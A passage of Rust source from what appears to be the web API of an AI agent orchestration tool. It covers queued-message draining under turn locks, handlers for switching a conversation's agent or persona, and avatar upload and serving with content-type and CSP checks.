9961        }
9962    } else {
9963        false
9964    };
9965    drop(turn);
9966    if let Some(started) = started {
9967        let _ = started.send(running);
9968    }
9969}
9970
9971// Existing in-process conversation tests exercise transcript/arrival ordering;
9972// real process-lifetime behavior is covered by the CLI integration tests.
9973#[cfg(test)]
9974async fn drain_loop_started(
9975    mut talk: Talk,
9976    talks: Talks,
9977    cfg: Config,
9978    id: String,
9979    turn: TalkTurnGuard,
9980    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9981) {
9982    let live_set = Arc::clone(&turn.turns);
9983    // `Option` rather than binding `turn` directly to a `_turn` that lives
9984    // for the whole function: releasing it has to happen by calling
9985    // `TalkTurnGuard::release` from inside the locked branch below, which
9986    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9987    // remove the id - correctly, if this loop is ever left some other way -
9988    // but doing it there misses the lock this loop is already holding, which
9989    // is the exact gap `release` exists to close.
9990    let mut turn = Some(turn);
9991    loop {
9992        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9993            // The lease was taken over while a turn ran. Whatever is queued
9994            // stays a draft; running it here would race the new owner.
9995            tracing::warn!("talk {id} lost its turn lease; not draining further");
9996            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9997            if let Some(turn) = turn.take() {
9998                turn.release(&mut live);
9999            }
10000            break;
10001        }
10002        // `talk::drain` takes the store lock and can write/rename the talk
10003        // file. Keep the turn mutex out of that synchronous work: it protects
10004        // every talk's in-memory claim, not this talk's disk operation.
10005        let observed = live_set
10006            .lock()
10007            .unwrap_or_else(PoisonError::into_inner)
10008            .queued
10009            .get(&id)
10010            .copied()
10011            .unwrap_or(0);
10012        let drained = blocking({
10013            let talks = talks.clone();
10014            move || {
10015                let result = talk::drain(&mut talk, &talks);
10016                Ok((talk, result))
10017            }
10018        })
10019        .await;
10020        let (next_talk, result) = match drained {
10021            Ok(drained) => drained,
10022            Err(e) => {
10023                tracing::warn!(
10024                    status = %e.status,
10025                    message = %e.message,
10026                    "talk {id} could not start queued-text drain"
10027                );
10028                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10029                turn.take()
10030                    .expect("held for the whole loop until released here")
10031                    .release(&mut live);
10032                break;
10033            }
10034        };
10035        talk = next_talk;
10036        let drained = match result {
10037            Ok(Some(drained)) => drained,
10038            Ok(None) => {
10039                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10040                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10041                    continue;
10042                }
10043                turn.take()
10044                    .expect("held for the whole loop until released here")
10045                    .release(&mut live);
10046                break;
10047            }
10048            Err(e) => {
10049                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10050                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10051                turn.take()
10052                    .expect("held for the whole loop until released here")
10053                    .release(&mut live);
10054                break;
10055            }
10056        };
10057        if let Some(started) = started.take() {
10058            let _ = started.send(true);
10059        }
10060        let responded = match turn.as_ref() {
10061            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10062            None => Err(anyhow::anyhow!("the turn guard was released")),
10063        };
10064        if let Err(e) = responded {
10065            tracing::warn!("talk {id} turn failed: {e:#}");
10066        }
10067    }
10068    drop(turn);
10069    if let Some(started) = started {
10070        let _ = started.send(false);
10071    }
10072}
10073
10074/// Clear a queued draft only if it remains exactly the one the caller saw.
10075async fn talk_pending_clear(
10076    State(ui): State<Arc<Ui>>,
10077    Path(id): Path<String>,
10078    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10079) -> ApiResult<Json<TalkView>> {
10080    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10081    blocking(move || {
10082        let id = resolve_talk(&ui.talks, &id)?;
10083        let mut talk = ui.talks.get(&id)?;
10084        if !talk.status.open() {
10085            return Err(ApiError::conflict(format!(
10086                "talk {} is {} and takes no more turns",
10087                talk.short(),
10088                talk.status.as_str()
10089            )));
10090        }
10091        if !talk::clear_pending_if_matches(
10092            &mut talk,
10093            &ui.talks,
10094            &body.expected_text,
10095            &body.expected_attachments,
10096        )? {
10097            return Err(ApiError::conflict(
10098                "queued message changed; reload it before clearing",
10099            ));
10100        }
10101        let thinking = ui.is_thinking(&talk.id);
10102        Ok(Json(TalkView::new(talk, thinking, &ui)))
10103    })
10104    .await
10105}
10106
10107/// Atomically edit a queued draft's text while preserving its attachments.
10108/// The snapshot fields make a concurrent queue or drain a conflict rather
10109/// than silently discarding either message.
10110async fn talk_pending_edit(
10111    State(ui): State<Arc<Ui>>,
10112    Path(id): Path<String>,
10113    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10114) -> ApiResult<Json<TalkView>> {
10115    let admission = ui.begin_admission()?;
10116    admitted(admission, async move {
10117        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10118        let id = {
10119            let ui = Arc::clone(&ui);
10120            blocking(move || resolve_talk(&ui.talks, &id)).await?
10121        };
10122        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10123            .await
10124            .map_err(ApiError::from)?;
10125        let (view, reclaimed) = blocking({
10126            let ui = Arc::clone(&ui);
10127            move || {
10128                let mut talk = ui.talks.get(&id)?;
10129                if !talk.status.open() {
10130                    return Err(ApiError::conflict(format!(
10131                        "talk {} is {} and takes no more turns",
10132                        talk.short(),
10133                        talk.status.as_str()
10134                    )));
10135                }
10136                if !talk::edit_pending_message(
10137                    &mut talk,
10138                    &ui.talks,
10139                    &body.text,
10140                    &body.expected_text,
10141                    &body.expected_attachments,
10142                    body.message,
10143                )? {
10144                    return Err(ApiError::conflict(
10145                        "queued message changed; reload it before editing",
10146                    ));
10147                }
10148                let claim = match ui.begin_queued_talk_turn(&id)? {
10149                    Some(turn_guard) => {
10150                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10151                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10152                    }
10153                    None => None,
10154                };
10155                let thinking = ui.is_thinking(&id);
10156                Ok((TalkView::new(talk, thinking, &ui), claim))
10157            }
10158        })
10159        .await?;
10160        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10161            let talks = ui.talks.clone();
10162            #[cfg(not(test))]
10163            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10164            #[cfg(test)]
10165            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10166        }
10167        Ok(Json(view))
10168    })
10169    .await
10170}
10171
10172/// The 409 for a talk that takes no more turns.
10173fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10174    if talk.status.open() {
10175        return Ok(());
10176    }
10177    Err(ApiError::conflict(format!(
10178        "talk {} is {} and takes no more turns",
10179        talk.short(),
10180        talk.status.as_str()
10181    )))
10182}
10183
10184/// The body of `POST /api/talks/{id}/agent`.
10185#[derive(Debug, Deserialize)]
10186struct TalkAgent {
10187    agent: String,
10188}
10189
10190/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10191/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10192/// start a turn on the old session between the check and the write; one that
10193/// arrives in that window finds the talk busy and becomes a draft.
10194async fn talk_agent(
10195    State(ui): State<Arc<Ui>>,
10196    Path(id): Path<String>,
10197    Json(body): Json<TalkAgent>,
10198) -> ApiResult<Json<TalkView>> {
10199    let admission = ui.begin_admission()?;
10200    admitted(admission, async move {
10201        let id = {
10202            let ui = Arc::clone(&ui);
10203            blocking(move || resolve_talk(&ui.talks, &id)).await?
10204        };
10205        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10206            .await
10207            .map_err(ApiError::from)?;
10208        let repo = {
10209            let ui = Arc::clone(&ui);
10210            let id = id.clone();
10211            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10212        };
10213        let cfg = config_for(&repo).await?;
10214        // Refuse before taking the claim; see `talk_implementers`.
10215        {
10216            let ui = Arc::clone(&ui);
10217            let id = id.clone();
10218            let cfg = cfg.clone();
10219            let wanted = body.agent.clone();
10220            blocking(move || {
10221                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10222                    .map_err(ApiError::bad_request_from)?;
10223                refuse_if_closed(&ui.talks.get(&id)?)
10224            })
10225            .await?;
10226        }
10227        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10228            return Err(ApiError::conflict(
10229                "a talk turn is running; change the agent once it has answered",
10230            ));
10231        };
10232        let switched = {
10233            let ui = Arc::clone(&ui);
10234            let id = id.clone();
10235            let cfg = cfg.clone();
10236            blocking(move || {
10237                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10238                    .map_err(ApiError::bad_request_from)?;
10239                let mut talk = ui.talks.get(&id)?;
10240                if !talk.status.open() {
10241                    return Err(ApiError::conflict(format!(
10242                        "talk {} is {} and takes no more turns",
10243                        talk.short(),
10244                        talk.status.as_str()
10245                    )));
10246                }
10247                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10248                Ok(talk)
10249            })
10250            .await
10251        };
10252        // A `/say` that landed while this held the claim saw the talk busy and
10253        // left a durable draft, trusting the claim's owner to drain it. So the
10254        // claim is settled whatever the outcome. Release an empty draft's claim
10255        // before replying; queued drafts continue independently of the handler.
10256        let observed = ui.queued_generation(&id);
10257        let fresh = {
10258            let ui = Arc::clone(&ui);
10259            let id = id.clone();
10260            blocking(move || Ok(ui.talks.get(&id)?)).await
10261        };
10262        let draining = match fresh {
10263            Ok(talk) => {
10264                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10265            }
10266            Err(_) => false,
10267        };
10268        let talk = switched?;
10269        Ok(Json(TalkView::new(talk, draining, &ui)))
10270    })
10271    .await
10272}
10273
10274/// The body of `POST /api/talks/{id}/persona`.
10275#[derive(Debug, Deserialize)]
10276struct TalkPersona {
10277    persona: String,
10278}
10279
10280/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10281/// like [`talk_agent`]: the turn guard is held for the change and always handed
10282/// to `drain_loop`, so a draft left meanwhile is not stranded.
10283async fn talk_persona(
10284    State(ui): State<Arc<Ui>>,
10285    Path(id): Path<String>,
10286    Json(body): Json<TalkPersona>,
10287) -> ApiResult<Json<TalkView>> {
10288    let admission = ui.begin_admission()?;
10289    admitted(admission, async move {
10290        let id = {
10291            let ui = Arc::clone(&ui);
10292            blocking(move || resolve_talk(&ui.talks, &id)).await?
10293        };
10294        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10295            .await
10296            .map_err(ApiError::from)?;
10297        let repo = {
10298            let ui = Arc::clone(&ui);
10299            let id = id.clone();
10300            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10301        };
10302        let cfg = config_for(&repo).await?;
10303        // Refuse before taking the claim; see `talk_implementers`.
10304        {
10305            let ui = Arc::clone(&ui);
10306            let id = id.clone();
10307            let cfg = cfg.clone();
10308            let wanted = body.persona.clone();
10309            blocking(move || {
10310                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10311                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10312                }
10313                refuse_if_closed(&ui.talks.get(&id)?)
10314            })
10315            .await?;
10316        }
10317        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10318            return Err(ApiError::conflict(
10319                "a talk turn is running; change the persona once it has answered",
10320            ));
10321        };
10322        let switched = {
10323            let ui = Arc::clone(&ui);
10324            let id = id.clone();
10325            let cfg = cfg.clone();
10326            blocking(move || {
10327                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10328                    return Err(ApiError::bad_request(format!(
10329                        "unknown persona `{}`",
10330                        body.persona
10331                    )));
10332                };
10333                let mut talk = ui.talks.get(&id)?;
10334                if !talk.status.open() {
10335                    return Err(ApiError::conflict(format!(
10336                        "talk {} is {} and takes no more turns",
10337                        talk.short(),
10338                        talk.status.as_str()
10339                    )));
10340                }
10341                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10342                Ok(talk)
10343            })
10344            .await
10345        };
10346        // As in `talk_agent`: settle the claim before replying, even on refusal.
10347        let observed = ui.queued_generation(&id);
10348        let fresh = {
10349            let ui = Arc::clone(&ui);
10350            let id = id.clone();
10351            blocking(move || Ok(ui.talks.get(&id)?)).await
10352        };
10353        let draining = match fresh {
10354            Ok(talk) => {
10355                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10356            }
10357            Err(_) => false,
10358        };
10359        let talk = switched?;
10360        Ok(Json(TalkView::new(talk, draining, &ui)))
10361    })
10362    .await
10363}
10364
10365/// The body of `POST /api/talks/{id}/implementers`.
10366#[derive(Debug, Deserialize)]
10367struct TalkImplementers {
10368    implementers: u8,
10369}
10370
10371/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10372/// like [`talk_agent`]: the turn guard is held for the change and always handed
10373/// to `drain_loop`, so a draft left meanwhile is not stranded.
10374async fn talk_implementers(
10375    State(ui): State<Arc<Ui>>,
10376    Path(id): Path<String>,
10377    Json(body): Json<TalkImplementers>,
10378) -> ApiResult<Json<TalkView>> {
10379    let admission = ui.begin_admission()?;
10380    admitted(admission, async move {
10381        let id = {
10382            let ui = Arc::clone(&ui);
10383            blocking(move || resolve_talk(&ui.talks, &id)).await?
10384        };
10385        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10386            .await
10387            .map_err(ApiError::from)?;
10388        let repo = {
10389            let ui = Arc::clone(&ui);
10390            let id = id.clone();
10391            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10392        };
10393        let cfg = config_for(&repo).await?;
10394        // Refuse a request that cannot succeed before taking the claim: a claim
10395        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10396        // moment, so a refusal would make the next request see "busy" instead of
10397        // its own answer. The checks after the claim stay the ones that decide.
10398        {
10399            let ui = Arc::clone(&ui);
10400            let id = id.clone();
10401            let cfg = cfg.clone();
10402            let wanted = body.implementers;
10403            blocking(move || {
10404                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10405                refuse_if_closed(&ui.talks.get(&id)?)
10406            })
10407            .await?;
10408        }
10409        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10410            return Err(ApiError::conflict(
10411                "a talk turn is running; change the implementers once it has answered",
10412            ));
10413        };
10414        let switched = {
10415            let ui = Arc::clone(&ui);
10416            let id = id.clone();
10417            let cfg = cfg.clone();
10418            blocking(move || {
10419                let chosen = talk::check_implementers(body.implementers, &cfg)
10420                    .map_err(ApiError::bad_request)?;
10421                let mut talk = ui.talks.get(&id)?;
10422                if !talk.status.open() {
10423                    return Err(ApiError::conflict(format!(
10424                        "talk {} is {} and takes no more turns",
10425                        talk.short(),
10426                        talk.status.as_str()
10427                    )));
10428                }
10429                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10430                Ok(talk)
10431            })
10432            .await
10433        };
10434        // As in `talk_agent`: settle the claim before replying, even on refusal.
10435        let observed = ui.queued_generation(&id);
10436        let fresh = {
10437            let ui = Arc::clone(&ui);
10438            let id = id.clone();
10439            blocking(move || Ok(ui.talks.get(&id)?)).await
10440        };
10441        let draining = match fresh {
10442            Ok(talk) => {
10443                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10444            }
10445            Err(_) => false,
10446        };
10447        let talk = switched?;
10448        Ok(Json(TalkView::new(talk, draining, &ui)))
10449    })
10450    .await
10451}
10452
10453/// `POST /api/talks/{id}/close`.
10454async fn talk_close(
10455    State(ui): State<Arc<Ui>>,
10456    Path(id): Path<String>,
10457) -> ApiResult<Json<TalkView>> {
10458    blocking(move || {
10459        let id = resolve_talk(&ui.talks, &id)?;
10460        let mut talk = ui.talks.get(&id)?;
10461        talk::close(&mut talk, &ui.talks).map_err(|error| {
10462            if error.is::<talk::ClosePendingInput>() {
10463                ApiError::conflict(format!("{error:#}"))
10464            } else {
10465                ApiError::from(error)
10466            }
10467        })?;
10468        let thinking = ui.is_thinking(&talk.id);
10469        Ok(Json(TalkView::new(talk, thinking, &ui)))
10470    })
10471    .await
10472}
10473
10474/// `POST /api/talks/{id}/reopen`.
10475async fn talk_reopen(
10476    State(ui): State<Arc<Ui>>,
10477    Path(id): Path<String>,
10478) -> ApiResult<Json<TalkView>> {
10479    blocking(move || {
10480        let id = resolve_talk(&ui.talks, &id)?;
10481        let mut talk = ui.talks.get(&id)?;
10482        talk::reopen(&mut talk, &ui.talks)?;
10483        let thinking = ui.is_thinking(&talk.id);
10484        Ok(Json(TalkView::new(talk, thinking, &ui)))
10485    })
10486    .await
10487}
10488
10489/// `DELETE /api/talks/{id}`.
10490///
10491/// Removes the conversation's record and artifacts outright, unlike
10492/// [`talk_close`] which keeps the record as history. A turn already in
10493/// flight is not refused here the way [`run_delete`] refuses a live run:
10494/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10495/// under [`Talks::guard`], that the record they are about to write back is
10496/// still there, so a delete racing a turn is safe without this route having
10497/// to know a turn is running at all.
10498async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10499    blocking(move || {
10500        let id = resolve_talk(&ui.talks, &id)?;
10501        ui.talks.remove(&id)?;
10502        Ok(StatusCode::NO_CONTENT)
10503    })
10504    .await
10505}
10506
10507fn talk_ids(root: &FsPath) -> Vec<String> {
10508    std::fs::read_dir(root)
10509        .into_iter()
10510        .flatten()
10511        .flatten()
10512        .filter_map(|e| {
10513            let path = e.path();
10514            if path.extension().is_some_and(|ext| ext == "json") {
10515                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10516            } else {
10517                None
10518            }
10519        })
10520        .collect()
10521}
10522
10523/// Expand an id or short id to exactly one talk id.
10524fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10525    if plain_record_id(id) && store.path_of(id).is_file() {
10526        return Ok(id.to_owned());
10527    }
10528    pick(talk_ids(store.root()), id, "talk")
10529}
10530
10531/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10532/// future `talk-say`.
10533async fn talk_attachment_post(
10534    State(ui): State<Arc<Ui>>,
10535    Path(id): Path<String>,
10536    headers: HeaderMap,
10537    body: Bytes,
10538) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10539    let mime = validate_attachment(&headers, &body)?;
10540    let name = filename_header(&headers);
10541    let data = body.to_vec();
10542    blocking(move || {
10543        let id = resolve_talk(&ui.talks, &id)?;
10544        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10545        Ok((StatusCode::CREATED, Json(att)))
10546    })
10547    .await
10548}
10549
10550/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10551/// `<img>` tag in the transcript.
10552async fn talk_attachment_get(
10553    State(ui): State<Arc<Ui>>,
10554    Path((id, att)): Path<(String, String)>,
10555) -> ApiResult<Response> {
10556    blocking(move || {
10557        let id = resolve_talk(&ui.talks, &id)?;
10558        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10559            return Err(ApiError::not_found(format!(
10560                "talk {id} has no attachment `{att}`"
10561            )));
10562        };
10563        Ok(attachment_response(&meta.mime, data))
10564    })
10565    .await
10566}
10567
10568/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10569/// the icon setting, so changing it changes the URL.
10570fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10571    let id = avatar_encode(&p.id);
10572    format!(
10573        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10574        persona_icon::fingerprint(
10575            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10576        )
10577    )
10578}
10579
10580#[derive(Debug, Default, Deserialize)]
10581struct AvatarQuery {
10582    persona: Option<String>,
10583    /// Set by the page after the first load failed: skip the `icon`.
10584    builtin: Option<String>,
10585}
10586
10587/// Served with every built-in avatar: it is an image, so nothing else may run.
10588const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10589
10590fn builtin_avatar(id: &str) -> Response {
10591    svg_avatar(persona_icon::builtin_svg(id))
10592}
10593
10594async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10595    raster_or_builtin(
10596        read_icon_file(&avatar_setting_path(&ui.home, None))
10597            .filter(|_| q.builtin.is_none())
10598            .as_deref(),
10599        persona_icon::operator_svg(),
10600    )
10601}
10602
10603fn svg_avatar(svg: &'static str) -> Response {
10604    (
10605        [
10606            (header::CONTENT_TYPE, "image/svg+xml"),
10607            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10608            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10609            (header::CACHE_CONTROL, "no-cache"),
10610        ],
10611        svg,
10612    )
10613        .into_response()
10614}
10615
10616fn avatar_encode(value: &str) -> String {
10617    value
10618        .bytes()
10619        .map(|b| {
10620            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10621                char::from(b).to_string()
10622            } else {
10623                format!("%{b:02X}")
10624            }
10625        })
10626        .collect()
10627}
10628
10629// Display-only overrides live outside configuration and conversation records.
10630fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10631    let Some(id) = persona else {
10632        return home.join("avatars/operator.data");
10633    };
10634    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10635    let mut path = home.join("avatars/personas");
10636    for chunk in encoded.as_bytes().chunks(100) {
10637        path.push(std::str::from_utf8(chunk).expect("hex"));
10638    }
10639    path.join("icon.data")
10640}
10641
10642fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10643    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10644        Some(value) if value == "builtin" => Some(String::new()),
10645        Some(value) => Some(value),
10646        None => configured.map(str::to_owned),
10647    }
10648}
10649
10650fn operator_icon_url(home: &FsPath) -> String {
10651    format!(
10652        "/avatars/operator.svg?v={}",
10653        persona_icon::fingerprint(
10654            read_icon_file(&avatar_setting_path(home, None))
10655                .as_deref()
10656                .or(Some(persona_icon::operator_svg()))
10657        )
10658    )
10659}
10660
10661fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10662    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10663        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10664            attachment_response(mime, bytes)
10665        }
10666        _ => svg_avatar(builtin),
10667    };
10668    response
10669        .headers_mut()
10670        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10671    response
10672}
10673
10674#[derive(Default, Deserialize)]
10675struct AvatarSettingsQuery {
10676    repo: Option<PathBuf>,
10677    persona: Option<String>,
10678    builtin: Option<String>,
10679    inherit: Option<String>,
10680}
10681
10682fn avatar_settings_specs(
10683    ui: &Ui,
10684    repo: Option<PathBuf>,
10685) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10686    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10687    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10688        .map(|cfg| cfg.talk.personas)
10689        .unwrap_or_default();
10690    Ok((repo, specs))
10691}
10692
10693fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10694    let Ok(entries) = std::fs::read_dir(path) else {
10695        return;
10696    };
10697    for entry in entries.flatten() {
10698        let name = entry.file_name().to_string_lossy().into_owned();
10699        if name == "icon.data" {
10700            let bytes: Option<Vec<u8>> = prefix
10701                .as_bytes()
10702                .chunks(2)
10703                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10704                .collect();
10705            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10706                out.push(id);
10707            }
10708        } else if name.len() <= 100
10709            && !name.is_empty()
10710            && name.bytes().all(|b| b.is_ascii_hexdigit())
10711            && entry.file_type().is_ok_and(|t| t.is_dir())
10712        {
10713            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10714        }
10715    }
10716}
10717
10718async fn avatar_settings_get(
10719    State(ui): State<Arc<Ui>>,
10720    Query(q): Query<AvatarSettingsQuery>,
10721) -> ApiResult<Json<serde_json::Value>> {
10722    blocking(move || {
10723        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10724        let mut catalog = persona::catalog(&specs);
10725        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10726        let mut saved = Vec::new();
10727        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10728        for id in saved {
10729            if !catalog.iter().any(|p| p.id == id) {
10730                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10731            }
10732        }
10733        let personas: Vec<_> = catalog.iter().map(|p| {
10734            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10735            let override_state = match saved.as_deref() {
10736                Some("builtin") => "builtin",
10737                Some(_) => "custom",
10738                None => "inherit",
10739            };
10740            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10741            serde_json::json!({"id":p.id,"name":p.name,
10742                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10743                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10744                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10745        }).collect();
10746        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10747    }).await
10748}
10749
10750async fn settings_persona_avatar(
10751    State(ui): State<Arc<Ui>>,
10752    Query(q): Query<AvatarSettingsQuery>,
10753) -> ApiResult<Response> {
10754    blocking(move || {
10755        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10756        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10757        let found = persona::find(&specs, id);
10758        let icon =
10759            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10760        Ok(raster_or_builtin(
10761            icon.as_deref().filter(|_| q.builtin.is_none()),
10762            persona_icon::builtin_svg(id),
10763        ))
10764    })
10765    .await
10766}
10767
10768fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10769    if q.persona
10770        .as_ref()
10771        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10772    {
10773        return Err(ApiError::bad_request("invalid persona id"));
10774    }
10775    Ok(())
10776}
10777
10778async fn avatar_settings_put(
10779    State(ui): State<Arc<Ui>>,
10780    Query(q): Query<AvatarSettingsQuery>,
10781    Json(upload): Json<MagiIconUpload>,
10782) -> ApiResult<Json<serde_json::Value>> {
10783    blocking(move || {
10784        validate_avatar_target(&q)?;
10785        save_icon_file(
10786            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10787            &upload.icon,
10788        )
10789        .map_err(ApiError::bad_request_from)?;
10790        Ok(Json(serde_json::json!({"saved":true})))
10791    })
10792    .await
10793}
10794
10795async fn avatar_settings_delete(
10796    State(ui): State<Arc<Ui>>,
10797    Query(q): Query<AvatarSettingsQuery>,
10798) -> ApiResult<Json<serde_json::Value>> {
10799    blocking(move || {
10800        validate_avatar_target(&q)?;
10801        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10802        if q.persona.is_some() && q.inherit.is_none() {
10803            atomic_icon_write(&path, "builtin")?;
10804        } else {
10805            match std::fs::remove_file(path) {
10806                Ok(()) => (),
10807                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10808                Err(e) => return Err(anyhow::Error::from(e).into()),
10809            }
10810        }
10811        Ok(Json(serde_json::json!({"saved":true})))
10812    })
10813    .await
10814}
10815
10816// The global MAGI icon is deliberately independent of repository configuration.
10817fn magi_icon_path(home: &FsPath) -> PathBuf {
10818    home.join("magi-icon.data")
10819}
10820
10821fn read_magi_icon(home: &FsPath) -> Option<String> {
10822    read_icon_file(&magi_icon_path(home))
10823}
10824
10825fn read_icon_file(path: &FsPath) -> Option<String> {
10826    let metadata = std::fs::metadata(path).ok()?;
10827    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10828        return None;
10829    }
10830    let file = std::fs::File::open(path).ok()?;
10831    use std::io::Read;
10832    let mut text = String::new();
10833    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10834        .read_to_string(&mut text)
10835        .ok()?;
10836    if text.len() > persona_icon::ICON_MAX_BYTES {
10837        return None;
10838    }
10839    if text == "builtin" {
10840        return Some(text);
10841    }
10842    validate_uploaded_icon(&text).ok()?;
10843    Some(text)
10844}
10845
10846fn magi_icon_url(home: &FsPath) -> String {
10847    format!(
10848        "/avatars/magi?v={}",
10849        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10850    )
10851}
10852
10853async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10854    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10855}
10856
10857#[derive(Deserialize)]
10858struct MagiIconUpload {
10859    icon: String,
10860}
10861
10862fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10863    save_icon_file(&magi_icon_path(home), icon)
10864}
10865
10866fn validate_uploaded_icon(icon: &str) -> Result<()> {
10867    if !icon.starts_with("data:") {
10868        anyhow::bail!("upload a raster image");
10869    }
10870    let (mime, bytes) = persona_icon::load(icon)?;
10871    if sniffed_mime(&bytes) != Some(mime) {
10872        anyhow::bail!("image content does not match its type");
10873    }
10874    Ok(())
10875}
10876
10877fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10878    validate_uploaded_icon(icon)?;
10879    atomic_icon_write(path, icon)
10880}
10881
10882fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10883    let home = path.parent().expect("icon parent");
10884    std::fs::create_dir_all(home)?;
